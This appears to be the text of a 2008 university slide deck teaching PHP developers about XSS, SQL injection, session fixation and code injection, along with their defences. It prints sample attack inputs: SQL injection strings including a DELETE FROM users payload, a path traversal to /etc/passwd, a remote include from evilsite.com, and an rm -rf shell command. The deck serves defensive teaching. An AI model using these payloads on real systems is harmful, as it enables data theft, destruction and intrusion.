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What makes your web application vulnerable?

How the attack works.

Example attacks.

How to prevent the attack.

What we’ll cover today: 
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Successful Web App 
Security

A security conscious mindset assumes that all data 
received in input is tainted and this data must be 
filtered before use and escaped when leaving the 
application.

Security Designs

 Security must be built in from initial specification to 
testing to maintenance.
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Register Globals

Arguably the most common source of 
vulnerabilities in PHP applications.

?userId = 55 becomes $userId = 55

No way to determine the input source

Uninitialized variables can be injected via user 
input
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PHP Superglobals

$_GET[ ]  data from get requests.

$_POST[ ]  post request data.

$_COOKIE[ ]  cookie information.

$_FILES[ ]  uploaded file data.

$_SERVER[ ]  server data

$_ENV[ ]  environment variables
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$_REQUEST

The $_REQUEST super-global merges data 
from different input methods, like 
register_globals it is vulnerable to value 
collisions.

echo $_GET['id']; // 1

echo $_COOKIE['id']; // 2 

echo $_REQUEST['id']; // 2
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Cross Site Scripting, XSS
 

SQL Injection 

Session Fixation

Code Injection 
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Some attacks we’ll look at…

Cross Site Scripting, XSS
 

SQL Injection 

Session Fixation

Code Injection 
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Overview 

Hackers exploit vulnerabilities to execute their 
code, or inject code, or steal data

Develop a security mindset

Filter input

Escape output SQL

Text

CSRFGET

PHP

XSS

POST
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Validate Input
 User input is unreliable and not to be trusted!

Partially lost in transmission between server & client.

Corrupted by some in-between process.

Modified by the user in an unexpected manner.

Intentional attempt to gain unauthorized access or to crash 
the application.

It is absolutely essential to validate any user 
input before use.
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Numeric Value 
Validation

 Casting is a simple and very efficient way to ensure 
variables do in fact contain numeric values.

// integer validation
if (!empty($_GET[‘id’])) {

$id = (int) $_GET[‘id’];
} else

$id = 0;

// floating point number validation
if (!empty($_GET[‘price’])) {

$price = (float) $_GET[‘price’];
} else

$price = 0;
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Validating Strings
PHP comes with a ctype extension that offers a 
very quick mechanism for validating string content.

if (!ctype_alnum($_GET[‘login’])) {
echo “Only A-Za-z0-9 are allowed.”;

}
if (!ctype_alpha($_GET[‘captcha’])) {

echo “Only A-Za-z are allowed.”;
}
if (!ctype_xdigit($_GET[‘color’])) {

echo “Only hexadecimal values are allowed”;
}
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Vocabulary

XSS - Cross Site Scripting

Browser side script sent to another end user

SQL Injection & Code Injection

Hacker runs her queries or code

Session Fixation

Hacker hardcodes user’s session ID
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XSS
Cross Site Scripting (XSS) attacks occur when an 
attacker uses a web application to send malicious 
code, usually in the form of browser side script, to 
a different end user.

Two categories: stored and reflected.

End user problems:
- disclosure of session cookie (worst)
- disclosure of files
- installation of Trojan horse programs
- redirection

Javascript, ActiveX (OLE), VBscript, Flash, etc.
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XSS Examples

User supplied HTML displayed as is

Google Code Search

lang:php (echo|print).*$_(GET| POST | 
COOKIE | REQUEST)

Exploitable samples: 

University of Toronto: <input type=“hidden” 
name=“show_courses” value=“<?php echo 
$_GET[‘show_courses’]; ?>” />
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Examples of foreign 
data
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Examples of foreign 
data

Posts on a web forum
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Examples of foreign 
data

Posts on a web forum

Email displayed by a web client
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Examples of foreign 
data

Posts on a web forum

Email displayed by a web client

A banner advertisement
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Examples of foreign 
data

Posts on a web forum

Email displayed by a web client

A banner advertisement

Stock quotes provided by an XML feed over 
HTTP

Friday, May 30, 2008



Examples of foreign 
data

Posts on a web forum

Email displayed by a web client

A banner advertisement

Stock quotes provided by an XML feed over 
HTTP

Client data
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XSS Exploits

Possible Exploits

Cookie/Session Theft

Content Modification

CSRF Initiation - Cross Site Request 
Forgeries

Social Engineering
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Protecting against 
XSS

Filter all foreign data

Use existing functions

Let PHP help: htmlentities( ), strip_tags( ) 
and utf8_decode( ).

Only allow safe content

Use a strict naming convention

$clean = array( );

Friday, May 30, 2008



Preventing XSS

 Tag allowances in strip_tags() are 
dangerous, because attributes of those tags are 
not being validated in any way.

$str = strip_tags($_POST[‘message’]);
// encode any foreign & special chars
$str = htmlentities($str);
// maintain new lines - convert them to <br />
echo nl2br($str);

// strip_tags() can be told to keep certain tags
$str = strip_tags($_POST[‘message’], ‘<b><p><i><u>’);
$str = htmlentities($str);
echo nl2br($str);
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Example code, 
edit_users.php

} elseif ($step == "search") {
 //Code checking for empty values here
 …
 }
 $firstName = $_REQUEST['firstName'];
 $lastName = $_REQUEST['lastName'];
 $netId = $_REQUEST['netId'];
 $email = urldecode($_REQUEST['email']);
 $user_list1 = db::get_users_by_name($firstName,$lastName);
 $user_list2 = db::get_users_by_netid($netId);
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SQL Injection

User supplied data used as is in queries

A subset of the unverified/unsanitzed user input 
vulnerability

Goal - get app to run SQL code that was not 
intended
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Finding the problem

Blind SQL injection:
- return True or False?
- RDBMS fingerprinting; current date functions
- timing attacks
   MySQL - BENCHMARK()
   SQL Server - ‘WAIT FOR DELAY’0:0:10

Arbitrary Data Retrieval

Staff?id=userId

Staff?id=%27%3B%20SELECT%20*%20FROM
%20MLL2_USERS%20--
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SQL Injection 
Exploits

Arbitrary Query Injection

Arbitrary Data Retrieval

?id=column_name

Denial of Service (DoS)

?id=(BENCHMARK(100000000, MD5(RAND()));

Data Modification
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SQL Injection 
Examples

sql = “SELECT usr_id FROM users WHERE 
usr_name = ‘“ + sUser + “‘ AND usr_pass =’” + sPass + 
“‘“

What if the user supplies the following password? ‘ 
OR 1=1 --

Bugs: select * from userstable where username=“”.
$_COOKIE[‘FIDOlogin’][1].”’limit 1”

OSTicket: “SELECT * FROM ticket_reps WHERE 
ID=‘$_POST[r_id]’”
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Vulnerable code

staff.php

$_staff->populate_by_userId($_GET['id']);

class.user.php

$q = "SELECT * FROM users WHERE userId = 
$userId";
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SQL Prepared 
Statements

Prepared statements are a mechanism to secure and optimize 
execution of repeated queries.

Works by making SQL “compile” the query and then 
substitute in the changing values for each execution.

Increased performance, 1 compile vs 1 per query.

Better security, data is “type set” will never be evaluated as 
separate query.

Supported by most database systems.

 MySQL users will need to use version 4.1 or higher.
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Preventing SQL 
Injection

Use prepared statements

$q = (“SELECT * FROM users WHERE id=?”);

$stmt = $mysqli->prepare($q);

$stmt->execute(array($_GET[‘id’]));
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SQL Escaping

If database interface extension offers dedicated escaping 
functions, USE THEM!

MySQL

mysqli_real_escape_string()

mysql_escape_string()

PostgreSQL

pg_escape_string()
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SQL Escaping 
Shortfall

When un-quoted integers are passed to SQL queries, 
escaping functions won’t save you, since there are no 
special chars to escape.

http://honeypot.arizona.edu/staff?id=0;DELETE%20FROM%20users

<?php
$id = mysqli_real_escape_string($_GET[‘id’]);
// $id is still “0;DELETE FROM users”

mysqli_query($db, “SELECT * FROM users WHERE id={$id}”);

// Bye Bye user data
?>
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SQL Escaping In 
Practice

// undo magic_quotes_gpc() to avoid double escapin
if (get_magic_quotes_gpc()) 

$_GET[‘name’] = stripslashes($_GET[‘name’]);

$name = mysqli_real_escape_string($_GET[‘name’]);

mysqli_real_query($db, “INSERT INTO instructors(name) 
VALUES(‘{$name}’)”);
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Session Fixation

Tricks the victim into using a session id chosen by 
the attacker.

Goal is to obtain a valid session id.

Google: lang:php session\(\)

Hacker returns to same URL later, and they’re in!
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Session Fixation

 Have the user click on a link that has a session 
id embedded into it.

<a href=http://php.net/manual/?
PHPSESSID=hackme”>PHP Manual</a>

If the user does not have an existing session 
their session id will be “hackme”.
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A session fixation 
attack
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Preventing Session 
Fixation

Regenerate the session identifier anytime the 
user provides authentication information of any 
kind.

Session_regenerate_id();
$_SESSION[‘logged_in’] = true;

Not a big worry for us since WebAuth provides 
our authentication.
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Session Validation
 Another session security technique is to compare 
the browser signature headers.

session_start();
$chk = @md5(

$_SERVER[‘HTTP_ACCEPT_CHARSET’] .
$_SERVER[‘HTTP_ACCEPT_ENCODING’] .
$_SERVER[‘HTTP_ACCEPT_LANGUAGE’] .
$_SERVER[‘HTTP_USER_AGENT’]);

if(empty($_SESSION)){
$_SESSION[‘key’] = $chk;}

else if {($_SESSION[‘key’] != $chk)}
// someone’s been messing with my session!

session_destroy();
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Safer Session 
Storage

By default PHP sessions are stored as files inside the 
common /tmp directory.

This often means any user on the system could see active 
sessions and “acquire” them or even modify their content.

 Possible solutions

Separate session storage directory via 
session.save_path

Database storage mechanism, Oracle, MySQL, etc.
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What Is Code 
Injection?

User can make script execute arbitrary blocks of 
code.

Google Codesearch : lang:php (include|
include_once| require|require_once).*\$_(GET|
POST| REQUEST|COOKIE)
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Code Injection

Arguable the most dangerous exploit, as it allows the 
attacker to execute code of their choice.

Common culprits include:

include/require statements with uninitialized vars

eval() calls that are injected with user input

poorly written preg_replace() calls that use “e” (eval) 
flag
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Example Injections
Sensitive File Retrieval

?value=../../../../../../../../etc/passwd

Code Execution - site uses include function which relies 
on variables sent with GET method

.../index.php?page=contact.php

.../index.php?page=http://evilsite.com/evilcode.php

Command Injection - content removal

shell_exec(“nohup rm -rf /2>1&1</dev/null &”)
Friday, May 30, 2008



Preventing Code 
Injection Attacks

Never use user provided input in include( ), 
require( ) and eval( ) statements

Or use a while list with unpredictable tokens

On PHP > 5.2 disable allow_url_fopen

Use open_basedir to restrict file access

Open_basedir=/tmp/;/home/usr/

Use Fast CGI rather than Apache module
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Code Injection 
Solution
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File Security

 Many PHP applications often require various 
utility and configuration files to operate.

 Because those files are used within the 
application, they end up being world-readable.

 This means that if those files are in web 
directories, users could download & view their 
contents.
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Securing 
Configuration Files

Configuration scripts, usually contain sensitive data 
that should be kept private.

Just denying web access, still leaves it readable to 
all users on the system.

Ideally configuration files would only be readable 
by the owner.
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Summary

 The responsibility for web app security 
lies with the programmer!

 Think of security and write your code to 
filter all user input and escape all output.
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Where to Get More 
Information

http://www.owasp.org

http://ha.ckers.org

http://shifflet.org

http://www.php.net/manual/en/security.php

http://devzone.zend.com/public/view

http://cgisecurity.com
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Questions?
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Thank you!

Ed Murphy
UITS

Office of Student Computing Resources
The University of Arizona

ed.murphy@arizona.edu
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